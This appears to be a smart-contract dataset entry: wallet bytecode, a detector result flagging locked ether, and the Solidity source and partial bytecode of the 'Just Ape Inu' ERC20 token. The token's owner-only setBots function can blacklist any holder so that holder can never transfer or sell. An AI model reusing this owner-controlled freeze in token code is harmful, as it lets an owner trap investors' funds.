1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b60055481101561115f57838015611113575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806111465750828015611145575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611152576001820191505b80806001019150506110dc565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156112cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4f776e657220697320657869737465642100000000000000000000000000000081525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611372576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f41646472657373206973206e756c6c210000000000000000000000000000000081525060200191505060405180910390fd5b6001600380549050016004546032821115801561138f5750818111155b801561139c575060008114155b80156113a9575060008214155b151561141d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420726571756972656d656e742100000000000000000000000081525060200191505060405180910390fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b6003805490508110156116045760016000858152602001908152602001600020600060038381548110151561156357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115e2576001820191505b6004548214156115f757600192505050611607565b8080600101915050611532565b50505b919050565b600080600090505b6003805490508110156116d15760016000848152602001908152602001600020600060038381548110151561164557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116c4576001820191505b8080600101915050611614565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117af5780601f10611784576101008083540402835291602001916117af565b820191906000526020600020905b81548152906001019060200180831161179257829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561185057602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611806575b5050505050905090565b60608060055460405190808252806020026020018201604052801561188e5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561193c578580156118d3575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806119065750848015611905575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561192f5780838381518110151561191a57fe5b90602001906020020181815250506001820191505b808060010191505061189c565b87870360405190808252806020026020018201604052801561196d5781602001602082028038833980820191505090505b5093508790505b868110156119bf57828181518110151561198a57fe5b90602001906020020151848983038151811015156119a457fe5b90602001906020020181815250508080600101915050611974565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015611a015781602001602082028038833980820191505090505b509050600080905060008090505b600380549050811015611b5057600160008681526020019081526020016000206000600383815481101515611a4057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b4357600381815481101515611ac757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383815181101515611b0057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611a0f565b81604051908082528060200260200182016040528015611b7f5781602001602082028038833980820191505090505b509350600090505b81811015611bfe578281815181101515611b9d57fe5b906020019060200201518482815181101515611bb557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611b87565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611caf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b6003805490508160328211158015611cc75750818111155b8015611cd4575060008114155b8015611ce1575060008214155b1515611d55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420726571756972656d656e742100000000000000000000000081525060200191505060405180910390fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611f35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5472616e73616374696f6e206973206e6f74206578697374656421000000000081525060200191505060405180910390fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4f776e65722068617320636f6e6669726d65642100000000000000000000000081525060200191505060405180910390fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36120bf8561253f565b5050505050565b60006120d3848484612922565b90506120de81611d98565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612318576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4f776e657220697320657869737465642100000000000000000000000000000081525060200191505060405180910390fd5b60008090505b600380549050811015612402578473ffffffffffffffffffffffffffffffffffffffff1660038281548110151561235157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123f557836003828154811015156123a857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612402565b808060010191505061231e565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156126d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f776e657220646964206e6f7420636f6e6669726d210000000000000000000081525060200191505060405180910390fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615151561276e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5472616e73616374696f6e20697320657865637574656421000000000000000081525060200191505060405180910390fd5b61277785611525565b1561291b576000806000878152602001908152602001600020905060018160030160006101000a81548160ff0219169083151502179055506128978160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561288d5780601f106128625761010080835404028352916020019161288d565b820191906000526020600020905b81548152906001019060200180831161287057829003601f168201915b5050505050612af3565b156128ce57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612919565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156129ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f41646472657373206973206e756c6c210000000000000000000000000000000081525060200191505060405180910390fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612a89929190612b46565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b815481835581811115612b4157818360005260206000209182019101612b409190612bc6565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612b8757805160ff1916838001178555612bb5565b82800160010185558215612bb5579182015b82811115612bb4578251825591602001919060010190612b99565b5b509050612bc29190612bc6565b5090565b612be891905b80821115612be4576000816000905550600101612bcc565b5090565b9056fea165627a7a723058206036727df0e6493088b023b6bee890933acd98d1d02e51c14db7effa2b0cd8e80029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,868
0xd5cfdc9475057436950dce2cce6c019877c5a231
// SPDX-License-Identifier: UNLICENSED //TG: @justapeinu pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract JUSTAPEINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Just Ape Inu"; string private constant _symbol = "APEIN"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x59ED9fAbBF6CaD7174F24393D365a66905bc84BA); _buyTax = 12; _sellTax = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/12; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 200000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a95780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f14610314578063a9059cbb1461032957600080fd5b8063273123b7116100f2578063273123b714610218578063313ce5671461023857806346df33b7146102545780636fc3eaec1461027457806370a082311461028957600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b15780631bbae6e0146101d657806323b872dd146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b4a7573742041706520496e7560a01b60208201525b60405161017891906116b6565b60405180910390f35b34801561018d57600080fd5b506101a161019c366004611730565b610419565b6040519015158152602001610178565b3480156101bd57600080fd5b50678ac7230489e800005b604051908152602001610178565b3480156101e257600080fd5b506101f66101f136600461175c565b610430565b005b34801561020457600080fd5b506101a1610213366004611775565b61047c565b34801561022457600080fd5b506101f66102333660046117b6565b6104e5565b34801561024457600080fd5b5060405160098152602001610178565b34801561026057600080fd5b506101f661026f3660046117e1565b610530565b34801561028057600080fd5b506101f6610578565b34801561029557600080fd5b506101c86102a43660046117b6565b6105ac565b3480156102b557600080fd5b506101f66105ce565b3480156102ca57600080fd5b506000546040516001600160a01b039091168152602001610178565b3480156102f257600080fd5b5060408051808201909152600581526420a822a4a760d91b602082015261016b565b34801561032057600080fd5b506101f6610642565b34801561033557600080fd5b506101a1610344366004611730565b610854565b34801561035557600080fd5b506101f6610364366004611814565b610861565b34801561037557600080fd5b506101f66108f7565b34801561038a57600080fd5b506101f6610937565b34801561039f57600080fd5b506101f66103ae36600461175c565b610ae0565b3480156103bf57600080fd5b506101f66103ce36600461175c565b610b18565b3480156103df57600080fd5b506101c86103ee3660046118d9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610426338484610b50565b5060015b92915050565b6000546001600160a01b031633146104635760405162461bcd60e51b815260040161045a90611912565b60405180910390fd5b6702c68af0bb1400008111156104795760108190555b50565b6000610489848484610c74565b6104db84336104d685604051806060016040528060288152602001611ad8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa9565b610b50565b5060019392505050565b6000546001600160a01b0316331461050f5760405162461bcd60e51b815260040161045a90611912565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055a5760405162461bcd60e51b815260040161045a90611912565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161045a90611912565b4761047981610fe3565b6001600160a01b03811660009081526002602052604081205461042a9061101d565b6000546001600160a01b031633146105f85760405162461bcd60e51b815260040161045a90611912565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066c5760405162461bcd60e51b815260040161045a90611912565b600f54600160a01b900460ff16156106c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045a565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074f9190611947565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611947565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108319190611947565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610426338484610c74565b6000546001600160a01b0316331461088b5760405162461bcd60e51b815260040161045a90611912565b60005b81518110156108f3576001600660008484815181106108af576108af611964565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108eb81611990565b91505061088e565b5050565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161045a90611912565b600061092c306105ac565b9050610479816110a1565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161045a90611912565b600e546109819030906001600160a01b0316678ac7230489e80000610b50565b600e546001600160a01b031663f305d719473061099d816105ac565b6000806109b26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3f91906119ab565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047991906119d9565b6000546001600160a01b03163314610b0a5760405162461bcd60e51b815260040161045a90611912565b600c81101561047957600b55565b6000546001600160a01b03163314610b425760405162461bcd60e51b815260040161045a90611912565b600c81101561047957600c55565b6001600160a01b038316610bb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610c135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b60008111610d9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b6001600160a01b03831660009081526006602052604090205460ff1615610dc257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0457506001600160a01b03821660009081526005602052604090205460ff16155b15610f99576000600955600c54600a55600f546001600160a01b038481169116148015610e3f5750600e546001600160a01b03838116911614155b8015610e6457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e795750600f54600160b81b900460ff165b15610ea6576000610e89836105ac565b601054909150610e99838361121b565b1115610ea457600080fd5b505b600f546001600160a01b038381169116148015610ed15750600e546001600160a01b03848116911614155b8015610ef657506001600160a01b03831660009081526005602052604090205460ff16155b15610f07576000600955600b54600a555b6000610f12306105ac565b600f54909150600160a81b900460ff16158015610f3d5750600f546001600160a01b03858116911614155b8015610f525750600f54600160b01b900460ff165b15610f97576000610f64600c836119f6565b9050610f708183611a18565b9150610f7b8161127a565b610f84826110a1565b478015610f9457610f9447610fe3565b50505b505b610fa48383836112b0565b505050565b60008184841115610fcd5760405162461bcd60e51b815260040161045a91906116b6565b506000610fda8486611a18565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f3573d6000803e3d6000fd5b60006007548211156110845760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045a565b600061108e6112bb565b905061109a83826112de565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e9576110e9611964565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611142573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111669190611947565b8160018151811061117957611179611964565b6001600160a01b039283166020918202929092010152600e5461119f9130911684610b50565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d8908590600090869030904290600401611a2f565b600060405180830381600087803b1580156111f257600080fd5b505af115801561